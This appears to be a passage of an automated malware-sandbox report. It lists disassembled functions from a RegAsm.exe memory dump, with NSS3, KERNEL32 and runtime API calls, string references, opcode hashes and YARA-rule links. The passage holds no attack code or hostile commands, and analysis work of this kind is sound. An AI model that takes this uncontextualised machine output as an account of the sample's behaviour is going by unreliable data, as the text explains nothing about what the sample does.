TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C42DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C438FFA
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C42DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C439013
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C42DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C439042
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C42DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C43905A
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C42DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C439073
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C42DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C4390EC

Part of subcall function 6C400F00: PR_GetPageSize.NSS3(6C400936,FFFFE8AE,?,6C3916B7,00000000,?,6C400936,00000000,?,6C39204A), ref: 6C400F1B
Part of subcall function 6C400F00: PR_NewLogModule.NSS3(clock,6C400936,FFFFE8AE,?,6C3916B7,00000000,?,6C400936,00000000,?,6C39204A), ref: 6C400F25

PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C42DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C439111

Strings

nRl, xrefs: 6C4390A3

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValue$InternalK11_ModulePageSizeSlot
String ID: nRl
API String ID: 2831689957-1839644333
Opcode ID: e941e256c523815efd6bca62c028a162f336714d20a1225701632deec85715cc
Instruction ID: a3024f6aae1b7cc9d00487666a0dc8d31d574076932603ed0a922eb47058d148
Opcode Fuzzy Hash: e941e256c523815efd6bca62c028a162f336714d20a1225701632deec85715cc
Instruction Fuzzy Hash: 2C519D70A042248FDF00EF39C888E59BBF4BF8A318F065569DC499B715EB35E885CB91

Function 6C41E910 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 149memorystringCOMMON

Download Yara Rule

APIs

PL_strncasecmp.NSS3(?,http://,00000007), ref: 6C41E93B
PR_SetError.NSS3(FFFFE075,00000000), ref: 6C41E94E
PORT_Alloc_Util.NSS3(00000001), ref: 6C41E995
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C41E9A7
strtol.API-MS-WIN-CRT-CONVERT-L1-1-0(?,00000000,0000000A), ref: 6C41E9CA
PORT_Strdup_Util.NSS3(6C55933E), ref: 6C41EA17
PORT_Alloc_Util.NSS3(00000001), ref: 6C41EA28

Part of subcall function 6C470BE0: malloc.MOZGLUE(6C468D2D,?,00000000,?), ref: 6C470BF8
Part of subcall function 6C470BE0: TlsGetValue.KERNEL32(6C468D2D,?,00000000,?), ref: 6C470C15

memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C41EA3C
free.MOZGLUE(?), ref: 6C41EA69

Strings

http://, xrefs: 6C41E935

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: Util$Alloc_memcpy$ErrorL_strncasecmpStrdup_Valuefreemallocstrtol
String ID: http://
API String ID: 3982757857-1121587658
Opcode ID: b5acc1e73bc391e83eb0d9f10bbad1522e7f065f7b0c5f6d8b075557f1fdc910
Instruction ID: 8f388679fb724fcbe1819a9111380844f95a3d5860f91b35c7c5c0158a2436b9
Opcode Fuzzy Hash: b5acc1e73bc391e83eb0d9f10bbad1522e7f065f7b0c5f6d8b075557f1fdc910
Instruction Fuzzy Hash: E841697C95C54A8BEB60CA688CC8FFA7BA5AB07349F140021DCD097F42E212954783E6

Function 6C434E50 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C434E90
EnterCriticalSection.KERNEL32 ref: 6C434EA9
TlsGetValue.KERNEL32 ref: 6C434EC6
EnterCriticalSection.KERNEL32 ref: 6C434EDF
PL_HashTableLookup.NSS3 ref: 6C434EF8
PR_Unlock.NSS3 ref: 6C434F05
PR_Now.NSS3 ref: 6C434F13
PR_Unlock.NSS3 ref: 6C434F3A

Part of subcall function 6C4007A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C39204A), ref: 6C4007AD
Part of subcall function 6C4007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C39204A), ref: 6C4007CD
Part of subcall function 6C4007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C39204A), ref: 6C4007D6
Part of subcall function 6C4007A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C39204A), ref: 6C4007E4
Part of subcall function 6C4007A0: TlsSetValue.KERNEL32(00000000,?,6C39204A), ref: 6C400864
Part of subcall function 6C4007A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C400880
Part of subcall function 6C4007A0: TlsSetValue.KERNEL32(00000000,?,?,6C39204A), ref: 6C4008CB
Part of subcall function 6C4007A0: TlsGetValue.KERNEL32(?,?,6C39204A), ref: 6C4008D7
Part of subcall function 6C4007A0: TlsGetValue.KERNEL32(?,?,6C39204A), ref: 6C4008FB

Strings

bUCl, xrefs: 6C434F3F
bUCl, xrefs: 6C434E5C

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID: bUCl$bUCl
API String ID: 326028414-3553004361
Opcode ID: f6f2d1a9aaac7a5b67bda261c4807c613984285913a457a340f6016543398d0c
Instruction ID: 867066477f11faf0c153767b40658918a617ada1f939e58b568e867372cb666b
Opcode Fuzzy Hash: f6f2d1a9aaac7a5b67bda261c4807c613984285913a457a340f6016543398d0c
Instruction Fuzzy Hash: 39413BB4A006159FCB00EF69C484DAABBF0FF49354B068569DC599B710EB30E855CFD5

Function 6C446C40 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 87COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestInit), ref: 6C446C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C446C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C446CA3

Part of subcall function 6C52D930: PL_strncpyz.NSS3(?,?,?), ref: 6C52D963

PR_LogPrint.NSS3(?,00000000), ref: 6C446CB9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6C446CD5

Strings

hSession = 0x%x, xrefs: 6C446C7E, 6C446C8E
nRl, xrefs: 6C446CF4, 6C446D1F
C_DigestInit, xrefs: 6C446C61
pMechanism = 0x%p, xrefs: 6C446CD0
(CK_INVALID_HANDLE), xrefs: 6C446C9C

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pMechanism = 0x%p$ (CK_INVALID_HANDLE)$C_DigestInit$nRl
API String ID: 1003633598-4087696419
Opcode ID: 67829f3bf0c50122f31a9396f3b918f4d5f36d086ea79660e025cab06b056b0a
Instruction ID: 4c2ee54ac3b7260622732ee1850682cd986e2e5fe3487179582ce0bc4466212f
Opcode Fuzzy Hash: 67829f3bf0c50122f31a9396f3b918f4d5f36d086ea79660e025cab06b056b0a
Instruction Fuzzy Hash: C1210630701124DFEB01EF149D48FDA37B5EB82319F168029E90997B52DB349889CBF6

Function 6C45ECE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,?,6C45DE64), ref: 6C45ED0C
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C45ED22

Part of subcall function 6C46B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C5418D0,?), ref: 6C46B095

PL_FreeArenaPool.NSS3(?), ref: 6C45ED4A
PL_FinishArenaPool.NSS3(?), ref: 6C45ED6B
PR_CallOnce.NSS3(6C572AA4,6C4712D0), ref: 6C45ED38

Part of subcall function 6C394C70: TlsGetValue.KERNEL32(?,?,?,6C393921,6C5714E4,6C4DCC70), ref: 6C394C97
Part of subcall function 6C394C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C393921,6C5714E4,6C4DCC70), ref: 6C394CB0
Part of subcall function 6C394C70: PR_Unlock.NSS3(?,?,?,?,?,6C393921,6C5714E4,6C4DCC70), ref: 6C394CC9

SECOID_FindOID_Util.NSS3(?), ref: 6C45ED52
PR_CallOnce.NSS3(6C572AA4,6C4712D0), ref: 6C45ED83
PL_FreeArenaPool.NSS3(?), ref: 6C45ED95
PL_FinishArenaPool.NSS3(?), ref: 6C45ED9D

Part of subcall function 6C4764F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6C47127C,00000000,00000000,00000000), ref: 6C47650E

Strings

security, xrefs: 6C45ED06

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: ArenaPool$CallFinishFreeOnceUtil$CriticalDecodeEnterErrorFindInitItem_QuickSectionUnlockValuefree
String ID: security
API String ID: 3323615905-3315324353
Opcode ID: 086f9f65b5359c12723ba07a0ef914097130ea592debcd53ac56cf6778ff2cd2
Instruction ID: 5966cd6315da50edcdcf723b37737af33c9cb2cae8023ae8714b8d5addbaa8f3
Opcode Fuzzy Hash: 086f9f65b5359c12723ba07a0ef914097130ea592debcd53ac56cf6778ff2cd2
Instruction Fuzzy Hash: B91157729002156BEA20D625AC84FFB7378EF4170DF450428E854A2F81F728A52DC6FB

Function 6C520EB0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Aborting,?,6C402357), ref: 6C520EB8
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(6C402357), ref: 6C520EC0
PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6C520EE6

Part of subcall function 6C5209D0: PR_Now.NSS3 ref: 6C520A22
Part of subcall function 6C5209D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C520A35
Part of subcall function 6C5209D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C520A66
Part of subcall function 6C5209D0: PR_GetCurrentThread.NSS3 ref: 6C520A70
Part of subcall function 6C5209D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C520A9D
Part of subcall function 6C5209D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C520AC8
Part of subcall function 6C5209D0: PR_vsmprintf.NSS3(?,?), ref: 6C520AE8
Part of subcall function 6C5209D0: EnterCriticalSection.KERNEL32(?), ref: 6C520B19
Part of subcall function 6C5209D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C520B48
Part of subcall function 6C5209D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C520C76
Part of subcall function 6C5209D0: PR_LogFlush.NSS3 ref: 6C520C7E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6C520EFA

Part of subcall function 6C40AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6C40AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C520F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C520F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C520F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C520F2B

Strings

Aborting, xrefs: 6C520EB3
Assertion failure: %s, at %s:%d, xrefs: 6C520ED9, 6C520EE5, 6C520F06, 6C520F0B

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: DebugPrintR_snprintf__acrt_iob_funcabort$BreakCriticalCurrentEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime__stdio_common_vfprintffflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 3905088656-1374795319
Opcode ID: a77693ef86dc297c2871bdea094412b1e378fb76879a9fad04311cfdd1da0927
Instruction ID: 2cec2e0ba8a7b8a05e57204cf079646f2090d08c097287bc3fa156581a1ef65f
Opcode Fuzzy Hash: a77693ef86dc297c2871bdea094412b1e378fb76879a9fad04311cfdd1da0927
Instruction Fuzzy Hash: 44F0C2B5A001547BDF007BA5DC4ACAB3E3DDF82264F444025FD0A56712DB36F92896F6

Function 6C484DB0 Relevance: 16.9, APIs: 11, Instructions: 395memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400), ref: 6C484DCB

Part of subcall function 6C470FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C4187ED,00000800,6C40EF74,00000000), ref: 6C471000
Part of subcall function 6C470FF0: PR_NewLock.NSS3(?,00000800,6C40EF74,00000000), ref: 6C471016
Part of subcall function 6C470FF0: PL_InitArenaPool.NSS3(00000000,security,6C4187ED,00000008,?,00000800,6C40EF74,00000000), ref: 6C47102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000001C), ref: 6C484DE1

Part of subcall function 6C4710C0: TlsGetValue.KERNEL32(?,6C418802,00000000,00000008,?,6C40EF74,00000000), ref: 6C4710F3
Part of subcall function 6C4710C0: EnterCriticalSection.KERNEL32(?,?,6C418802,00000000,00000008,?,6C40EF74,00000000), ref: 6C47110C
Part of subcall function 6C4710C0: PL_ArenaAllocate.NSS3(?,?,?,6C418802,00000000,00000008,?,6C40EF74,00000000), ref: 6C471141
Part of subcall function 6C4710C0: PR_Unlock.NSS3(?,?,?,6C418802,00000000,00000008,?,6C40EF74,00000000), ref: 6C471182
Part of subcall function 6C4710C0: TlsGetValue.KERNEL32(?,6C418802,00000000,00000008,?,6C40EF74,00000000), ref: 6C47119C

PORT_ArenaAlloc_Util.NSS3(?,0000001C), ref: 6C484DFF
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C484E59

Part of subcall function 6C46FAB0: free.MOZGLUE(?,-00000001,?,?,6C40F673,00000000,00000000), ref: 6C46FAC7

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C54300C,00000000), ref: 6C484EB8
SECOID_FindOID_Util.NSS3(?), ref: 6C484EFF
memcmp.VCRUNTIME140(?,00000000,00000000), ref: 6C484F56
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C48521A

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCriticalDecodeEnterFindFreeInitLockPoolQuickSectionUnlockZfreecallocfreememcmp
String ID:
API String ID: 1025791883-0
Opcode ID: 9311a4775be8aa2843dcc0af5a8ff779e66ac5dc18605f788153cb888f663262
Instruction ID: 6270696a9f24fcf27363cee7f72bd340533717a5f9fcd52b257152b8f8288ff2
Opcode Fuzzy Hash: 9311a4775be8aa2843dcc0af5a8ff779e66ac5dc18605f788153cb888f663262
Instruction Fuzzy Hash: E2F1AC71E02209CBEB04CF58D850FADB7B2BF45359F258169E915AB780E735E982CF90

Function 6C414FD0 Relevance: 16.6, APIs: 11, Instructions: 112COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(00000001,00000000,6C560148,?,6C426FEC), ref: 6C41502A
PR_NewLock.NSS3(00000001,00000000,6C560148,?,6C426FEC), ref: 6C415034
PL_NewHashTable.NSS3(00000000,6C46FE80,6C46FD30,6C4BC350,00000000,00000000,00000001,00000000,6C560148,?,6C426FEC), ref: 6C415055
PL_NewHashTable.NSS3(00000000,6C46FE80,6C46FD30,6C4BC350,00000000,00000000,?,00000001,00000000,6C560148,?,6C426FEC), ref: 6C41506D

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: HashLockTable
String ID:
API String ID: 3862423791-0
Opcode ID: 5c9f94f87a56ab5a2a1ee5a736da520633a5ef1e6cca28b6e8ae8572ceefdcb0
Instruction ID: ea36949437ee5ee8ed41331f12e5c4d7386c1a93312c141def4252cd8252008b
Opcode Fuzzy Hash: 5c9f94f87a56ab5a2a1ee5a736da520633a5ef1e6cca28b6e8ae8572ceefdcb0
Instruction Fuzzy Hash: E631C2B1A0A220DBEB22DA658C4CFA73BB8EB13759F074125E94587F40D3759484CBF6

Function 6C3B2E50 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?), ref: 6C3B2F3D
memset.VCRUNTIME140(?,00000000,?), ref: 6C3B2FB9
memcpy.VCRUNTIME140(?,00000000,?), ref: 6C3B3005
memcpy.VCRUNTIME140(?,?,?), ref: 6C3B30EE
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C3B3131
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001086C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C3B3178

Strings

database corruption, xrefs: 6C3B316C
%s at line %d of [%.10s], xrefs: 6C3B3171
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C3B3022, 6C3B3156, 6C3B3162, 6C3B318A, 6C3B3196, 6C3B31A2, 6C3B31AE, 6C3B31BA, 6C3B31C6

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: memcpy$memsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 984749767-598938438
Opcode ID: 0b01507ac8ad62daecd0e9fdd616a0a45c5e7e019d0881060c30df63c0d687be
Instruction ID: c27936b7d3aa35c313346c9712bef2cdd4adc9ce40b70de5b3ab5f7acaab69a4
Opcode Fuzzy Hash: 0b01507ac8ad62daecd0e9fdd616a0a45c5e7e019d0881060c30df63c0d687be
Instruction Fuzzy Hash: B9B1A170E05229DBCB08CF9DC884AEEB7B6BF58304F14812AE849B7B45D7759941CFA0

Function 6C402D20 Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 183COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 6C402D69

Strings

Rl, xrefs: 6C402DD0
winUnmapfile1, xrefs: 6C402F55
@Rl, xrefs: 6C402E24
winUnmapfile2, xrefs: 6C402F7F
winSeekFile, xrefs: 6C402E9C
PRl, xrefs: 6C402E74, 6C402EC5, 6C402F32, 6C402F5C
winTruncate2, xrefs: 6C402EF8
winTruncate1, xrefs: 6C402EBE

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: __allrem
String ID: @Rl$PRl$winSeekFile$winTruncate1$winTruncate2$winUnmapfile1$winUnmapfile2$Rl
API String ID: 2933888876-3389625541
Opcode ID: efb6ff6040281bbccf3a94cb93bb68c38a8ce9cae85355d6be8d2844740302ef
Instruction ID: 7239582023486f9d0112271762611e6ea4fa7abc760ca797dffe6090ec234e89
Opcode Fuzzy Hash: efb6ff6040281bbccf3a94cb93bb68c38a8ce9cae85355d6be8d2844740302ef
Instruction Fuzzy Hash: E4617A71B812059FDB14CF68DC88EAA77B1FF49354F108239E9159B7D0EB30A806CB91

Function 6C410F30 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 85memoryCOMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C410F62
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C410F84

Part of subcall function 6C46B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C5418D0,?), ref: 6C46B095

SEC_QuickDERDecodeItem_Util.NSS3(?,6C42F59B,6C53890C,?), ref: 6C410FA8
PORT_Alloc_Util.NSS3(4C8B1474), ref: 6C410FC1

Part of subcall function 6C470BE0: malloc.MOZGLUE(6C468D2D,?,00000000,?), ref: 6C470BF8
Part of subcall function 6C470BE0: TlsGetValue.KERNEL32(6C468D2D,?,00000000,?), ref: 6C470C15

memcpy.VCRUNTIME140(00000000,?,4C8B1474), ref: 6C410FDB
PR_CallOnce.NSS3(6C572AA4,6C4712D0), ref: 6C410FEF
PL_FreeArenaPool.NSS3(?), ref: 6C411001
PL_FinishArenaPool.NSS3(?), ref: 6C411009

Strings

security, xrefs: 6C410F5C

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: ArenaPoolUtil$DecodeItem_Quick$Alloc_CallErrorFinishFreeInitOnceValuemallocmemcpy
String ID: security
API String ID: 2061345354-3315324353
Opcode ID: 55b4e5be8c0acbcc9cc1c5cce54c888cc4b211d7fdaa9834fd052f4d4bd22ffc
Instruction ID: 70b375e909bbd994dead3a2ba3ffaa8b5e05637d2f955ee7f03624c2bed7736e
